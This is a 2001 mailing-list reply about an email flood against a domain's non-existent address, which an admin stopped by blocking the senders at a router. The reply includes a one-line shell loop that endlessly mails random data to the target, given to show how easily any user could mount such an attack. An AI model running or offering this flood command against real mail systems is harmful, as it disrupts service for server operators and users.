Re: Email attack

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On Monday 05 February 2001 19:33, you wrote:
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> I assume this is specific to somewhere.com--we seem to attract this
> kind of thing.
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> 2001-02-01
> We were under email attack (a message a second) addressed to
> somebody_at_somewhere.com (a non-existent address). The attack went on
> for several hours until I finally blocked the two sending machines at
> my router.
>

$ while [ true ]; do head -100 /dev/urandom | mail somebody_at_somewhere.com;
done;

Even an user's account is enough to acomplish such a stupid attack.

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Nickola Pepelishev
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Received on Feb 05 2001